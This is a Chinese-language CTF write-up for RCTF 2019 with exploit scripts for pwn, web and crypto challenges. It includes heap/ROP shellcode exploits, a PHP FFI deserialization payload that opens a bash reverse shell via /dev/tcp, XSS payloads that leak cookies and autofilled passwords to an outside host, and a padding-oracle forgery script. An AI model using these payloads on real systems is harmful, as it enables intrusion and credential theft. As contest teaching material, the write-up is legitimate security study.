# rsp 控制到heapbase+0x10+3104的位置 idx11
# 0x0000000000021102 : pop rdi ; ret
rop=p64(0x0000000000021102+libc.address)+p64(heapbase)
# 0x00000000001150c9 : pop rdx ; pop rsi ; ret
rop+=p64(0x00000000001150c9+libc.address)+p64(7)+p64(0x2000)+p64(libc.sym['mprotect'])
rop+=p64(heapbase+0x48+3104)
code = """
xor rsi,rsi
mov rax,SYS_open
call here
.string "./flag"
here:
pop rdi
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_read
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_write
syscall
mov rax,SYS_exit
syscall
"""
shellcode = asm(code,arch="amd64")
rop+=shellcode
edit(11,rop)
edit(10,flat({0xa0:p64(heapbase+0x10+3104),0xa8:p64(0x0000000000209B5+libc.address)}))
# 触发
# gdb.attach(r,"awatch __free_hook\nc\n")
free(10)
ia()
while 1:
try:
r = remote(ip,port)
exp()
except:
r.close()
pass
### shellcoder
> 爆破之(虽然主办方说不需要爆破)
#### 解题思路
> 只能orw
1. 一开始只能输入7个byte的shellcode, 需要使用7bytes构造一个系统调用. 这里需要知道的是有一条汇编指令: xchg, 可以交换两个64位寄存器的值, xchg rdi,rsi
2. 有了read系统调用, 就可以执行orw了.
3. 由于不知道flag的目录, 执行系统调用sys_getdents, 实现一个类似 ls 的功能
4. 爆破除flag的目录
#### 参考
<https://cloud.tencent.com/developer/article/1143454>
#### exp
#!/usr/bin/env python
from pwn import *
context(arch='amd64',os='linux')
# context.log_level='debug'
#
def exp(dirname):
child_dir=[]
# p=process('./shellcoder')
p=remote('139.180.215.222',20002)
# gdb.attach(p,'nb 4c7')
p.recvuntil('hello shellcoder:')
shellcode='\x48\x87\xf7' #chg rdi, rsi
shellcode+='\xb2\x80' # mov dl,0x80
shellcode+='\x0f\x05' # syscall
p.send(shellcode)
# open_code=shellcraft.open('flag/n9bp/1maz/flag')
# open_code=shellcraft.open('./flag/n0qf/y1ka/fl8q')
# read_code='xor rax,rax;mov rdi,3;push rsp;pop rsi;mov rdx,100;syscall'
# write_code='mov rax,1;mov rdi,1;push rsp;pop rsi;mov rdx,100;syscall'
# shellcode='\x90'*0x7+asm(open_code)+asm(read_code)+asm(write_code)
open_code=shellcraft.open(dirname)
getdents_code='mov rax,78;mov rdi,3;mov rsi,rsp;mov rdx,200;syscall'
write_code='mov rax,1;mov rdi,1;push rsp;pop rsi;mov rdx,200;syscall'
shellcode='\x90'*0x7+asm(open_code)+asm(getdents_code)+asm(write_code)
p.send(shellcode+'\n')
result=[]
def parse1():
sleep(1)
line=p.recv()
d=0 # line[i] ptr
while(d<400):
for j in range(len(line[d+18:])):
chr_num=ord(line[d+18+j])
if chr_num<0x20 or chr_num>0x7e:
child_dir.append(line[d+18:d+18+j])
break
clen=u16(line[d+16:d+18])
d+=clen
if(clen==0):
break
for i in range(len(child_dir)):
if child_dir[i]!='' and child_dir[i]!='.' and child_dir[i]!='..':
result.append(dirname+'/'+child_dir[i])
parse1()
return result
def judge(line):
for i in range(len(line)):
if 'flag' in (line[i])[6:]:
print(line[i])
pause()
fdir=['./flag']
child_dir=[]
level=0
while(1):
for i in range(len(fdir)):
child_dir+=exp(fdir[i])
judge(child_dir)
fp=open('./dir{}'.format(level),'w')
# for i in range(len(child_dir)):
# fp.write(child_dir[i]+'\n')
# fp.close()
print(child_dir)
fdir=[]
fdir+=child_dir
child_dir=[]
### many_note
#### 漏洞点
> 输入content的时候有个堆溢出
#### 利用过程
many_note有两种做法, 这篇wp里使用的是第一种
1.改tcachebin
2.house of Orange
第一种:
当不断malloc的时候, topchun大小小于请求大小时, 会把top_chunk free掉, 并且把arena里面top指针改到前面去,
会在tcache_bin(用来管理tcache的一个chunk, 大小为0x250.)前面
然后把topchunk大小改大, 然后不断malloc, 会malloc到tcachebin区域, 这时malloc出来,
写一个malloc_hook的地址到tcache_bin里, 然后tcache_dup, 写onegadget到malloc_hook即可
#### exp
#!/usr/bin/env python
#coding:utf-8
from pwn import *
import os,sys,time
libpath="./libc.so.6"
libcpath='/lib/x86_64-linux-gnu/libc.so.6'
libc=ELF(libpath)
p=process(['./many_notes'])
p=process(['./ld-linux-x86-64.so.2','--library-path','/mnt/hgfs/F/workflow/rctf2019/pwn-manynotes','./many_notes'])
if len(sys.argv)==3:
p=remote("139.180.144.86",20003)
ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x,drop=True)
rl = lambda : p.recvline()
rv = lambda x : p.recv(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def menu(op):
sla('Choice:',str(op))
def add(size,padding,data=[]):
menu(0)
sla('Size:',str(size))
sla('Padding:',str(padding))
if(len(data)==0):
sla('(0/1):',str(0))
else:
sla('(0/1):',str(1))
ru('Content:')
for i in data:
sn(i)
time.sleep(0.1)
if len(sys.argv)==2:
gdb.attach(p)
sa('name:','a'*0x8)
time.sleep(0.1)
ru('to Many Notes, ')
rv(0x8)
leak=u64(rv(6).ljust(8,'\x00'))
io_stdout=leak
libc.address=libcbase=io_stdout-libc.symbols['_IO_2_1_stdout_']
__malloc_hook_addr=libc.symbols['__malloc_hook']
print '[leak]',hex(leak)
print '[libcbase]',hex(libcbase)
print '[__malloc_hook_addr]',hex(__malloc_hook_addr)
for i in range(0x7):
add(0x2000,1024)
add(0x2000,0x3e8)
add(0x5d0,0)
for i in range(0xf):
add(0x2000,1024)
add(0x2000,0x3d0-1)
payload1='a'*0x10
payload2='a'*0x10+p64(0x0)+p64(0x30b1)
add(0x20,0,[payload1,payload2])
add(0x1000-0x6a0,0)
payload=p64(0x1010101010101)*2
payload+=p64(__malloc_hook_addr-0x23)*10
payload=payload.ljust(0x240,'\x00')
add(0x240,0,[payload])
onegadget = 0x40e86+ libcbase
onegadget = 0x40eda+ libcbase
onegadget = 0xdea81+ libcbase
payload='a'*3
payload+=p64(onegadget)*5
payload=payload.ljust(0x68,'\x00')
add(0x68,0,[payload])
menu(0)
sla('Size:','104')
raw_input('interactive ....\n')
p.interactive()
## web
### nextphp
这题考`PHP7.4`的特性，非常紧跟潮流。直接给了个eval
看一下`phpinfo`,一堆`disable_functions`
很明显绕不过去，再看`open_basedir`
还注意到有一个`opcache.preload`
`preload.php`:
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
代码很工整，实现了一个自定义的序列化，反序列化的时候会调用`unserialize`函数，这里的`unserialize`函数功能是改变`$data`数组元素的值，然后实现可变函数的效果。然后主要到这篇[文章](https://stitcher.io/blog/new-in-php-74)去查看`php7.4`的特性，关于`opcache.preload`，可以看[RFC](https://wiki.php.net/rfc/preload)
很好理解，就是选定一个文件来preload。
还用到了`Foreign Function
Interface`这个点.到[RFC](https://wiki.php.net/rfc/ffi)看`cdef`:
用法：
然后，我们需要利用`preload.php`的可变函数来尝试导入c函数并执行，为什么要利用预加载的`preload.php`，不能直接搞呢，因为这个
http://nextphp.2019.rctf.rois.io/?a=var_dump(unserialize(%27C:1:%22A%22:97:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:34:%22const%20char%20*%20getenv(const%20char%20*);%22;}}%27)-%3Eret-%3Egetenv(%27PATH%27));
导入`getenv`
同理导入`system`,反弹shell即可
nextphp.2019.rctf.rois.io/?a=var_dump(unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()[ret]->system("bash -c '/bin/bash -i >%26 /dev/tcp/{{ip}}/{{[port}} 0>%261'"));
### jail
xss题，可以向一个页面写内容，然后把页面的id提交给admin，让它去访问。
avatar的地方可以上传文件，试了一下，没啥好利用的点。
cookie中有两个hint
目的就是要打到admin的cookie。
Content-Security-Policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self';
在`firefox`下用这个payload就能x到：`<img src=1
onerror="location.href='http://xxxxx/?'+document.cookie">`
但是chrome不行
提交了一下，没有打到，bot应该是chrome。我们知道跳转可以无视一切csp，但是这里跳转不了，因为页面上有一段预置的js
把`document.location`给freeze了，而freeze是不能解掉的
后面尝试了用a标签和另外的一些方法，本地是可以跳转的，但是bot不跳呀，因此另寻骚操作。
之前没见过freeze location这个操作，因此研究了一下location
尝试修改了几个属性，href固然是改不了，但是发现host和hostname属性都是可以改的，而且可以达到一个跳转的效果。这里可以用子域名带出信息，查看DNS
query记录即可，payload:
<script>
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
}
location.hostname=stringToHex(document.cookie).substr(0,60)+".g3r5vi.ceye.io"</script>
### password
这题用的是jail的同一个环境，题目和hint给的信息都非常关键
提取出几个要点：
> 1.要x的是密码
> 2.并不是chrome自带的保存密码功能
> 3.try to read body.innerHTML
这里可以大致猜出一些东西了，要x密码，而且不是chrome自带的密码管理，结合hint，想到会不会是给他插入一段html，然后会给我自动填充密码，我再把密码整出来？于是尝试加一段html到payload里，由于是要x密码，所以自然想到整个表单上去，login那里就有一个现成的表单
一开始是想，延时一段时间(给点时间给密码管理器自动填写)，然后把password的value搞出来，但是啥都打不到。于是还是跟着hint走吧，读一下innerHTML，这一步的payload：
<body>
<form class="ui large form" method="post">
<div class="ui stacked segment">
<div class="field">
<div class="ui left icon input">
<i class="user icon"></i>
<input type="text" id="username" name="username" placeholder="Username">
</div>
</div>
<div class="field">
<div class="ui left icon input">
<i class="lock icon"></i>
<input type="password" id="password" autocomplete="on" name="password" placeholder="Password" >
</div>
</div>
<button class="ui fluid large submit button" type="submit">Login</button>
</div>
<div class="ui error message" style=""></div>
</form>
</body>
<script>
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
}
setTimeout(function () {
location.hostname=stringToHex(btoa(document.body.innerHTML)).substr(1800,60)+".g3r5vi.ceye.io";
}, 1000);
</script>
一点点拿到完整的页面内容，发现果然有something interesting
加了个`data-cip-id`的属性，但是我的payload并没有这东西。查了一下，这里用的应该是`ChromeIPass`+`Keepass`这一套，本地装一下，直接拿登录页面来做一下实验。首先点击一下username的框，然后就会有候选密码(前提是已经有存密码)
再右键选中看属性，发现这几个选项都是`cip-ui-menu-item`这个class的，因此可以用`document.getElementsByClassName('cip-ui-menu-item')[?]`来定位他们。这里必须要点一下username的框，才会有这几个选项出现，选项出现之后，选一个来点，password的框就会被自动填充。所以我们的payload就已经出来了：
<body>
<form class="ui large form" method="post">
<div class="ui stacked segment">
<div class="field">
<div class="ui left icon input">
<i class="user icon"></i>
<input type="text" id="username" name="username" placeholder="Username">
</div>
</div>
<div class="field">
<div class="ui left icon input">
<i class="lock icon"></i>
<input type="password" id="password" autocomplete="on" name="password" placeholder="Password" >
</div>
</div>
<button class="ui fluid large submit button" type="submit">Login</button>
</div>
<div class="ui error message" style=""></div>
</form>
</body>
<script>
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
}
setTimeout(function () {
document.getElementsByName('username')[0].click();
document.getElementsByClassName('cip-ui-menu-item')[1].click();
location.hostname=stringToHex(btoa(document.getElementsByName('password')[0].value)).substr(0,60)+".g3r5vi.ceye.io";
}, 3000);
</script>
0号是假flag
1号是真flag
## misc
### draw
logo语言, 找个在线编译器丢进去
[jslogo](https://www.calormen.com/jslogo/)
白给, 不过需要注意一下flag格式
flag: RCTF_HeyLogo
### disk
#### 题目信息
附件中的文件
#### 解题
misc看到文件先丢到 **010Editor** 看一下
ctrl+f 搜一下flag, ctf这些, 还真的搜到了
拿出来是这样
rctf{unseCure_quick_form4t_vo1ume
~~老实说一开始看到还没啥感觉...以为只是混淆的内容, 后面才突然想起来的~~
然后尝试VeraCrypt加载, 发现加载失败
看了文件格式, 拿去vmware也加载失败
队友说用7z打开解压一下, 可以看到这个东西, 拿出来就可以加载了
挂载后可以看到一张图片和一个txt
有另一个密码, 应该就是隐藏卷了
加载隐藏卷, 发现打不开, 提示是Raw格式
linux下也不能加载
用DiskGenius直接读磁盘
果然看到了后半段, 拼起来即可
rctf{unseCure_quick_form4t_vo1ume_and_corrupted_1nner_v0lume}
### printer
#### 题目信息
附件
#### 解题
这个是一个wireshark的文件, 用wireshark打开, 看到一些数据, 按长度排序, 有个特别大
看他的数据内容, 底部有很多BAR的数据
直接搜一下可以发现是个标签打印机的数据
[标签打印机抓包数据解析](http://www.mamicode.com/info-detail-2571063.html)
文章里面有些图片看不清, 但是提到了一个pdf文档, 把它下载下来可以看到那些图片的内容
下面是bar命令的参数信息
那根据这个信息, 可以用python画个图
把数据从wireshark里面复制出来, 小处理一下
# python = 3.7
from PIL import Image
with open("printer.txt", "r") as f:
txt = f.readlines()
txt = [i.strip().split(",") for i in txt]
pic=Image.new('RGB',(2000,2000),'black')
pix=pic.load()
for i in txt:
temp = Image.new('RGB', (int(i[2]), int(i[3])), 'white')
pic.paste(temp, (int(i[0]), int(i[1])))
pic.show()
'''
348,439,2,96
292,535,56,2
.....
.....
152,351,16,2
152,351,2,16
'''
PIL画图大法好, 可以看到结果
看起来还少了点东西, 再看文章里面还有个Bitmap
果然数据中有这个东西
26 * 48 = 1248, 因此应该有1248个两位的16进制数(8个bit)
取出这些16进制数, 小处理一下(notepad++的处理挺方便的), 然后继续上python
def pic2():
with open("printer2.txt") as f:
txt = f.read().split()
pic = Image.new('RGB', (800, 800), 'black')
pix = pic.load()
for i in range(48):
for j in range(26):
x = ("{:08b}".format(int(txt[i * 26 + j], 16)))
for k in range(8):
if x[k] == '1':
pix[i, j * 8 + k] = (255, 255, 255)
pic.save('printer2.png')
'''
ff ff ff ff ff ff ff ff ff ff ff ff ff
.....
.....
ff ff ff
'''
得到的图片是镜像, 转一下
拼起来就是flag了
> flag{my_tsc_hc3pnikdk}
### watermark
1. 阅读HTML，发现它首先调用JS把flag编码成了一个有着841个Bool的Array，对于所有class为watermark的div，它会在更改每个字符的颜色之后塞进一个SVG，替换掉div中的文本。对于英文字母，RGB是从Array中依序拿出的三个Bool值(a, b, c)，其中a, b, c为0或1；对于其它字符，RGB是(0, 0, 0)。
2.接下来把JS反混淆，通过观察生成Array的大小（841 = 29^2）、Google搜索脚本中的字符串常量，发现这是一个编码二维码的脚本。执行：
arr = A.B.E(A.C.D("RCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxx}")).F();
s = "";
for (var i = 0; i < 841; i++) {
s += arr[i] ? "1" : "0";
if ((i + 1) % 29 == 0) {
s += "\n"
}
}
可以发现题中对flag的编码实质上就是转为二维码后依序返回每个色块的颜色。
1. 题目中给出了两个bmp，获取到所有英文字母的RGB值后即可生成二维码获得flag。要获得所有英文字母的RGB值，就要先获得所有字符的位置和内容。方便起见，修改HTML中的JS，使它把spans直接放进div中；并进行一些微调（font-family、font-size、weight、
），使得页面看起来和bmp里一样。
let parent = dom.parentElement
var div = document.createElement('div')
//var p = document.createElement('p')
//p.appendChild(img)
div.innerHTML = html
parent.appendChild(div)
dom.remove()
1. 执行脚本获取第一个标题下的所有字母的内容和位置信息（在题目更新后，去掉了step，使得所需的信息数量变少了；否则，需要再重复两次这些操作以获得更多RGB信息）。
list = document.getElementsByTagName('span');
for (var i = 0; i <= 2068; i++) {
if ('a'<=list[i].innerText && list[i].innerText <= 'z' || 'A'<=list[i].innerText && list[i].innerText <= 'Z') {
info = list[i].getBoundingClientRect();
arr.push([list[i].innerText, info.top, info.left, info.bottom, info.right])
}
}
JSON.stringify(arr)
5.使用画图打开1.bmp，对比第一个span的位置，得出从网页中获取到的位置与图中文字位置的位置偏移，并编写脚本。
import json
f = open('p1.json')
r = f.read()
f.close()
arr = json.loads(r)
y_off = -85
x_off = -238
mp = 1
y_begin = 85
x_begin = 88
from PIL import Image
img = Image.open("1.bmp")
f = open("bin", "w")
cnt = 0
h = img.height
for e in arr:
img2 = img.crop((int(x_off + x_begin + e[2]), int(y_off + y_begin + e[1]), int(x_off + x_begin + e[4]), int(y_off + y_begin + e[3])))
img2.save("test.bmp")
img_array = img2.load()
rec = (0, 0, 0)
flag = False
for x in range(img2.size[0]):
for y in range(img2.size[1]):
if img_array[x, y][0] <= 1 and img_array[x, y][1] <= 1 and img_array[x, y][2] <= 1:
rec = (img_array[x, y][0], img_array[x, y][1], img_array[x, y][2])
flag = True
if flag:
cnt += 1
f.write(str(rec[0]) + str(rec[1]) + str(rec[2]))
f.close()
print("hit:", cnt)
print("total:", len(arr))
1. 执行脚本，在执行过程中可以看到test.bmp的变化，确定它截取的字符位置正确。
2. 从拿到的RGB值生成二维码。由于有些字符（i、l、I等）体积较小，携带的RGB信息可能丢失，所以生成了四个，并取or。（会有1没有被读出来，但一般不会有0被读成1）
import zxing
from PIL import Image
black = Image.new('RGB', (10, 10), (0, 0, 0))
white = Image.new('RGB', (10, 10), (255, 255, 255))
f = open("bin")
arr = f.read()
f.close()
reader = zxing.BarCodeReader()
real = ['0'] * 841
def gen(n):
num = 0
for i in range(0, 29):
for j in range(0, 29):
if arr[n + i * 29 + j] == '1':
real[i * 29 + j] = '1'
def run(n):
num = 0
result = Image.new('RGB', (290, 290), (255, 255, 255))
for i in range(0, 29):
for j in range(0, 29):
if real[n + i * 29 + j] == '1':
result.paste(black, (i * 10, j * 10))
else:
result.paste(white, (i * 10, j * 10))
result.save('qrcode.png')
for i in range(0, 841*4, 841):
gen(i)
run(0)
print(reader.decode("qrcode.png"))
8.执行脚本，得到flag（和二维码）：
RCTF{c4ca4238a0b923820dcc509a6275849b}
## Crypto
### baby_crypto
题目会让我们先输入username和password，其中username和password都只能是5到10位的纯小写字母，然后题目会生成一个cookie
> "admin:0;username:aaaaa;password:aaaaa"
并将它用aes-cbc进行加密，然后再将该密文前面拼接上16位的salt之后进行sha1，最后把iv+密文+sha1结果作为data返回给我们
接下来我们可以发送data过去，服务器会进行aes-cbc解密并校验传过去的sha1是不是和我们传过去的cookie符合，然后再捕捉cookie中的admin，如果是1则输出flag，如果是0则退出程序
需要注意的是如果我们传过去的数据有误，会返回错误信息并继续接收data直到服务器可以解密我们传过去的cookie并且sha1校验的信息正确
这道题的要点有两个：
1. 如何通过sha1校验
2. 如何伪造cookie使得admin为1
对于要点1来说，可以参考去年RCTF的cpushop的题，用hash长度拓展攻击就可以，我们可以拓展出来`';admin:1'`这样的信息附加到原來的cookie末尾，这样服务器校验的时候便会通过。我们可以用`'hashpumpy'`这个python包来进行长度拓展攻击。
需要注意的是，服务器返回的data中的cookie的加密数据的长度为96个十六进制数，我们使用长度拓展攻击之后长度会变为128个十六进制数，所以需要先将data中的cookie的加密数据再附加32个十六进制数
对于要点2来说，aes-cbc模式可以用`'Padding Oracle
Attack'`结合`'CBC字节反转攻击'`来伪造加密之后的密文。我们可以先用Padding Oracle
Attack获取cookie解密之后的最后16位的明文，然后用CBC字节反转攻击修改密文使其解密之后的明文变为hash长度拓展攻击生成的明文。这样重复4次就可以修改所有的密文解密之后的明文变为我们想要的明文
最终我们就可以通过这个思路传过去伪造的data得到flag:`RCTF{f2c519ea-567b-41d1-9db8-033f058b4e3e}`
解题脚本：
HOST = "111.231.100.117"
PORT = 20000
import urllib
from pwn import *
import hashpumpy
from cryptography.hazmat.primitives import padding
def pad(s):
padder = padding.PKCS7(128).padder()
return padder.update(s) + padder.finalize()
def Padding_Oracle_Attack(last,last2,rest):
last2 = last2.decode('hex')
c_final = ""
m = ""
for x in xrange(1, 17):
for y in xrange(0, 256):
IV = "\x00" * (16 - x) + chr(y) + "".join(chr(ord(i) ^ x) for i in c_final)
r = rest+IV.encode('hex')+last+hash
rv(4096)
sl(r)
result = rl()
if "Invalid padding" not in result:
c_final = chr(y ^ x) + c_final
print "[+]Get: " + urllib.quote(c_final)
break
if y == 255:
print "[!]Error!"
exit(1)
print "[+]Result: " + c_final
for x in xrange(16):
m += chr(ord(c_final[x]) ^ ord(last2[x]))
return m,c_final
p = remote(HOST, PORT)
ru = lambda x : p.recvuntil(x)
rl = lambda : p.recvline()
rv = lambda x : p.recv(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
rv(4096)
sl('aaaaa')
rv(4096)
sl('aaaaa')
rl()
cookie = rl().strip('\n')
print cookie
cookie_len=len(cookie)
hash_len = 40
iv_len=32
iv = cookie[:iv_len]
enc_cookie = cookie[iv_len:-hash_len]
hash = cookie[-hash_len:]
print iv
print enc_cookie
print hash
append_data = ";admin:1"
# 37 -> 48 -> 96
old_plain = "admin:0;username:aaaaa;password:aaaaa"
# 56 -> 64 -> 128
data = hashpumpy.hashpump(hash,old_plain,append_data,16)
new_hash = data[0]
new_data = data[1]
new_data = pad(new_data)
print new_data.encode('hex').decode('hex')
print len(new_data)
# pad enc_cookie to 128
enc_cookie = enc_cookie + enc_cookie[32:64]
assert(len(enc_cookie)==128)
last_enc_block = enc_cookie[-32:]
last2_enc_block = enc_cookie[-64:-32]
rest_enc_block = enc_cookie[:-64]
last_plain ,c_final = Padding_Oracle_Attack(last_enc_block,last2_enc_block,iv+rest_enc_block)
#print last_plain
#print c_final
assert(len(last_plain)==16)
assert(len(c_final)==16)
last_need_plain = new_data[-16:]
temp_block = ""
for i in range(16):
temp_block += chr(ord(last_plain[i])^ord(last_need_plain[i]))
last2_enc_block = last2_enc_block.decode('hex')
new_last2_enc_block = ""
for i in range(16):
new_last2_enc_block += chr(ord(last2_enc_block[i])^ord(temp_block[i]))
res = ''
for i in range(16):
res += chr(ord(new_last2_enc_block[i])^ord(c_final[i]))
print "[+]Round 4 Complete!"
print res
print res.encode('hex')
new_last2_enc_block = new_last2_enc_block.encode('hex')
if len(new_last2_enc_block)%2==1:
new_last2_enc_block = '0'+new_last2_enc_block
payload = last_enc_block
print "[+]Round 4 payload:"
print payload
print len(payload)
# chunk 4 is complete
# start Round 3
enc_cookie = rest_enc_block + new_last2_enc_block
assert(len(enc_cookie)==96)
last_enc_block = enc_cookie[-32:]
last2_enc_block = enc_cookie[-64:-32]
rest_enc_block = enc_cookie[:-64]
last_plain ,c_final = Padding_Oracle_Attack(last_enc_block,last2_enc_block,iv+rest_enc_block)
#print last_plain
#print c_final
assert(len(last_plain)==16)
assert(len(c_final)==16)
last_need_plain = new_data[-32:-16]
temp_block = ""
for i in range(16):
temp_block += chr(ord(last_plain[i])^ord(last_need_plain[i]))
last2_enc_block = last2_enc_block.decode('hex')
new_last2_enc_block = ""
for i in range(16):
new_last2_enc_block += chr(ord(last2_enc_block[i])^ord(temp_block[i]))
res = ''
for i in range(16):
res += chr(ord(new_last2_enc_block[i])^ord(c_final[i]))
print "[+]Round 3 Complete!"
print res
print res.encode('hex')
new_last2_enc_block = new_last2_enc_block.encode('hex')
if len(new_last2_enc_block)%2==1:
new_last2_enc_block = '0'+new_last2_enc_block
payload = last_enc_block + payload
print "[+]Round 3 payload:"
print payload
print len(payload)
# chunk 3 is complete
# start Round 2
enc_cookie = rest_enc_block + new_last2_enc_block
assert(len(enc_cookie)==64)
last_enc_block = enc_cookie[-32:]
last2_enc_block = enc_cookie[-64:-32]
rest_enc_block = ""
last_plain ,c_final = Padding_Oracle_Attack(last_enc_block,last2_enc_block,iv+rest_enc_block)
#print last_plain
#print c_final
assert(len(last_plain)==16)
assert(len(c_final)==16)
last_need_plain = new_data[-48:-32]
temp_block = ""
for i in range(16):
temp_block += chr(ord(last_plain[i])^ord(last_need_plain[i]))
last2_enc_block = last2_enc_block.decode('hex')
new_last2_enc_block = ""
for i in range(16):
new_last2_enc_block += chr(ord(last2_enc_block[i])^ord(temp_block[i]))
res = ''
for i in range(16):
res += chr(ord(new_last2_enc_block[i])^ord(c_final[i]))
print "[+]Round 2 Complete!"
print res
print res.encode('hex')
new_last2_enc_block = new_last2_enc_block.encode('hex')
if len(new_last2_enc_block)%2==1:
new_last2_enc_block = '0'+new_last2_enc_block
payload = last_enc_block + payload
print "[+]Round 2 payload:"
print payload
print len(payload)
# chunk 2 is complete
# start Round 1
enc_cookie = rest_enc_block + new_last2_enc_block
assert(len(enc_cookie)==32)
last_enc_block = enc_cookie[-32:]
last2_enc_block = iv
rest_enc_block = ""
last_plain ,c_final = Padding_Oracle_Attack(last_enc_block,last2_enc_block,rest_enc_block)
#print last_plain
#print c_final
assert(len(last_plain)==16)
assert(len(c_final)==16)
last_need_plain = new_data[-64:-48]
temp_block = ""
for i in range(16):
temp_block += chr(ord(last_plain[i])^ord(last_need_plain[i]))
last2_enc_block = last2_enc_block.decode('hex')
new_last2_enc_block = ""
for i in range(16):
new_last2_enc_block += chr(ord(last2_enc_block[i])^ord(temp_block[i]))
res = ''
for i in range(16):
res += chr(ord(new_last2_enc_block[i])^ord(c_final[i]))
print "[+]Round 1 Complete!"
print res
print res.encode('hex')
new_last2_enc_block = new_last2_enc_block.encode('hex')
if len(new_last2_enc_block)%2==1:
new_last2_enc_block = '0'+new_last2_enc_block
payload = last_enc_block + payload
print "[+]Round 1 payload:"
print payload
print len(payload)
payload = new_last2_enc_block + payload
print "[+]Round 0 payload:"
print payload
print len(payload)
payload += new_hash
print "[+]ALL DONE!"
print "payload:"
print payload
print len(payload)
rv(4096)
sl(payload)
result = rl()
print "[+]Get Flag:"
print result
p.close()
## Re
### babyre1
首先校验flag长度为16，然后进行16进制编码
然后我们看看sub_555555555180
这个函数将input视为4个dword的数，然后xxtea
decrypt，且解密后的字符串最后一字节要<4，至于xxtea的识别的话，可以发现它用了常数0x9E3779B9，这是标准tea家族的算法需要用的参数，然后参考这个博客：
<https://www.jianshu.com/p/4272e0805da3>
可以发现是xxtea解密
后面再经过一个check后要输出Bingo!可以发现的是，最后一轮check并不会改变输入的值，且我们只有密文的最后两位是未知的，然后hint又给了md5，那么最后一轮就没有逆的必要了，直接爆破一下
import xxtea
import hashlib;
def decrypt(text,key):
return xxtea.decrypt(text, key,padding=False);
def encrypt(text,key):
return xxtea.encrypt(text, key,padding=False);
key = [0xc7,0xe0,0xc7,0xe0,0xd7,0xd3,0xf1,0xc6,0xd3,0xc6,0xd3,0xc6,0xce,0xd2,0xd0,0xc4]
key = ''.join( [ chr(i) for i in key ] );
cipher = [0x55,0x7e,0x79,0x70,0x78,0x36,0,0];
for i in range(0xff):
print i;
for j in range(4):
cipher[6]=i;
cipher[7]=j;
t = encrypt( ''.join( [ chr(k) for k in cipher ] ) , key);
t = t.encode('hex');
t = "rctf{" + t + "}"
# print i,j,t;
# print hashlib.md5(t).hexdigest()
if ( hashlib.md5(t).hexdigest()=="5f8243a662cf71bf31d2b2602638dc1d" ):
print 'get!!!!!!!!!!!!!!!!!!!';
print t;
# rctf{05e8a376e4e0446e}
### babyre2
和第一题同样用了xxtea，程序的大致逻辑为：
用account作为xxtea的密钥来加密一串常量，得到s1
用password进行一些变换后来索引data的值来构造一个字符串s2
将s2每位^0xcc后解密s1，如果解密的结果最后一位<4就get flag
且可以发现的是第一次加密的常量最后一位<4，那么构造account==s2^0xcc就完事了
from pwn import *
from LibcSearcher import *
s = lambda data : p.send(data);
sl = lambda data : p.sendline(data);
sla = lambda st,data : p.sendlineafter(st,data);
sa = lambda st,data : p.sendafter(st,data);
context.log_level = 'DEBUG';
p = remote("139.180.215.222 ",20000);
sa("account:","2"*16);
sa("password:","1"*16 );
sa("data:",("1"*36+chr(ord('2')^0xcc)+'23456').encode('hex') );
p.interactive();
#rctf{f8b1644ac14529df029ac52b7b762493}
### DontEatME
开头有ZwSetInformationThread的反调试，全部patch掉即可，然后伪随机数生成以一串key，来初始化Blowfish，然后中间那一大段就是Blowfish的解密过程，但是我试了一下，好像不太对，应该是作者魔改了某些地方。
然后这一坨东西呢，唯一的作用就是生成了dword_4053A8这个表
这里就是根据dword_4053A8和一些判断来check，可以直接跑dfs出答案
